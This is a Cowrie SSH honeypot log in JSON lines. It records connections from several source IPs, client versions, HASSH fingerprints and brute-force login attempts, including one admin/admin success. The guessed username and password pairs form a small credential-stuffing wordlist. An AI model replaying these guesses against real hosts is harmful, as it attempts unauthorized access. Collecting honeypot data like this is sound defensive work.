{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:18:28.685355Z","src_ip":"89.144.211.139","session":"80f816e9968e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mailtest1","password":"mailtest1","message":"login attempt [mailtest1/mailtest1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:18:29.226963Z","src_ip":"89.144.211.139","session":"80f816e9968e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:18:30.360847Z","src_ip":"89.144.211.139","session":"80f816e9968e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":16380,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ee682043051","protocol":"ssh","message":"New connection: 2.57.121.112:16380 (159.203.135.109:22) [session: 7ee682043051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:19:18.236593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:19:18.241095Z","src_ip":"2.57.121.112","session":"7ee682043051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:19:18.345593Z","src_ip":"2.57.121.112","session":"7ee682043051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rolex1","message":"login attempt [admin/rolex1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:19:18.839595Z","src_ip":"2.57.121.112","session":"7ee682043051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rola","message":"login attempt [admin/rola] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:19:19.946821Z","src_ip":"2.57.121.112","session":"7ee682043051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rodolfo","message":"login attempt [admin/rodolfo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:19:21.072018Z","src_ip":"2.57.121.112","session":"7ee682043051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rockfish","message":"login attempt [admin/rockfish] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:19:22.179368Z","src_ip":"2.57.121.112","session":"7ee682043051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"robert3","message":"login attempt [admin/robert3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:19:23.290861Z","src_ip":"2.57.121.112","session":"7ee682043051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:19:24.398339Z","src_ip":"2.57.121.112","session":"7ee682043051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":57354,"dst_ip":"159.203.135.109","dst_port":22,"session":"15ec95abfd92","protocol":"ssh","message":"New connection: 2.57.122.208:57354 (159.203.135.109:22) [session: 15ec95abfd92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:19:25.231046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:19:25.330470Z","src_ip":"2.57.122.208","session":"15ec95abfd92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:19:25.426450Z","src_ip":"2.57.122.208","session":"15ec95abfd92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:19:26.327432Z","src_ip":"2.57.122.208","session":"15ec95abfd92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:19:27.521325Z","src_ip":"2.57.122.208","session":"15ec95abfd92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.209.60.185","src_port":59488,"dst_ip":"159.203.135.109","dst_port":22,"session":"677b4ec19db4","protocol":"ssh","message":"New connection: 103.209.60.185:59488 (159.203.135.109:22) [session: 677b4ec19db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:19:29.450937Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:19:29.474139Z","src_ip":"103.209.60.185","session":"677b4ec19db4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.209.60.185","src_port":60708,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fa0f567672b","protocol":"ssh","message":"New connection: 103.209.60.185:60708 (159.203.135.109:22) [session: 6fa0f567672b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:19:32.590862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-JSCH-0.1.51","message":"Remote SSH version: SSH-2.0-JSCH-0.1.51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:19:32.595558Z","src_ip":"103.209.60.185","session":"6fa0f567672b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"069fb483253fc12ecaf3731bac1ae020","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes128-cbc,3des-ctr,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc;hmac-md5,hmac-sha1,hmac-sha2-256,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes128-cbc","3des-ctr","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-md5","hmac-sha1","hmac-sha2-256","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 069fb483253fc12ecaf3731bac1ae020","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:19:33.102162Z","src_ip":"103.209.60.185","session":"6fa0f567672b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:19:34.256286Z","src_ip":"103.209.60.185","session":"6fa0f567672b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:19:34.528386Z","src_ip":"103.209.60.185","session":"6fa0f567672b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":49209,"dst_ip":"159.203.135.109","dst_port":22,"session":"8969f5205a14","protocol":"ssh","message":"New connection: 2.57.121.25:49209 (159.203.135.109:22) [session: 8969f5205a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:20:17.444979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:20:17.450969Z","src_ip":"2.57.121.25","session":"8969f5205a14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:20:17.548880Z","src_ip":"2.57.121.25","session":"8969f5205a14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"25111981","message":"login attempt [user/25111981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:20:18.016701Z","src_ip":"2.57.121.25","session":"8969f5205a14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"25071993","message":"login attempt [user/25071993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:20:19.117998Z","src_ip":"2.57.121.25","session":"8969f5205a14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"25061977","message":"login attempt [user/25061977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:20:20.221168Z","src_ip":"2.57.121.25","session":"8969f5205a14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"250386","message":"login attempt [user/250386] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:20:21.322208Z","src_ip":"2.57.121.25","session":"8969f5205a14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"25021981","message":"login attempt [user/25021981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:20:22.423486Z","src_ip":"2.57.121.25","session":"8969f5205a14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:20:23.524370Z","src_ip":"2.57.121.25","session":"8969f5205a14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":41032,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a15473c8db2","protocol":"ssh","message":"New connection: 80.94.92.184:41032 (10.17.0.5:22) [session: 3a15473c8db2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:21:25.270242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:21:25.391001Z","src_ip":"80.94.92.184","session":"3a15473c8db2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:21:25.396022Z","src_ip":"80.94.92.184","session":"3a15473c8db2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"qwerty1234","message":"login attempt [solv/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:21:26.617565Z","src_ip":"80.94.92.184","session":"3a15473c8db2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:21:27.880960Z","src_ip":"80.94.92.184","session":"3a15473c8db2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":27858,"dst_ip":"159.203.135.109","dst_port":22,"session":"349313ba5756","protocol":"ssh","message":"New connection: 194.59.206.2:27858 (159.203.135.109:22) [session: 349313ba5756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:22:14.072314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:22:14.084553Z","src_ip":"194.59.206.2","session":"349313ba5756","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:22:14.155818Z","src_ip":"194.59.206.2","session":"349313ba5756","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:22:14.313564Z","src_ip":"194.59.206.2","session":"349313ba5756","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37018,"dst_ip":"159.203.135.109","dst_port":22,"session":"732ebea60dc3","protocol":"ssh","message":"New connection: 2.57.122.208:37018 (159.203.135.109:22) [session: 732ebea60dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:22:37.394044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:22:37.815484Z","src_ip":"2.57.122.208","session":"732ebea60dc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:22:37.819306Z","src_ip":"2.57.122.208","session":"732ebea60dc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:22:39.891703Z","src_ip":"2.57.122.208","session":"732ebea60dc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:22:41.310536Z","src_ip":"2.57.122.208","session":"732ebea60dc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":19795,"dst_ip":"159.203.135.109","dst_port":22,"session":"c03ccab10718","protocol":"ssh","message":"New connection: 84.239.42.8:19795 (159.203.135.109:22) [session: c03ccab10718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:23:33.917154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:23:33.926142Z","src_ip":"84.239.42.8","session":"c03ccab10718","protocol":"ssh"}
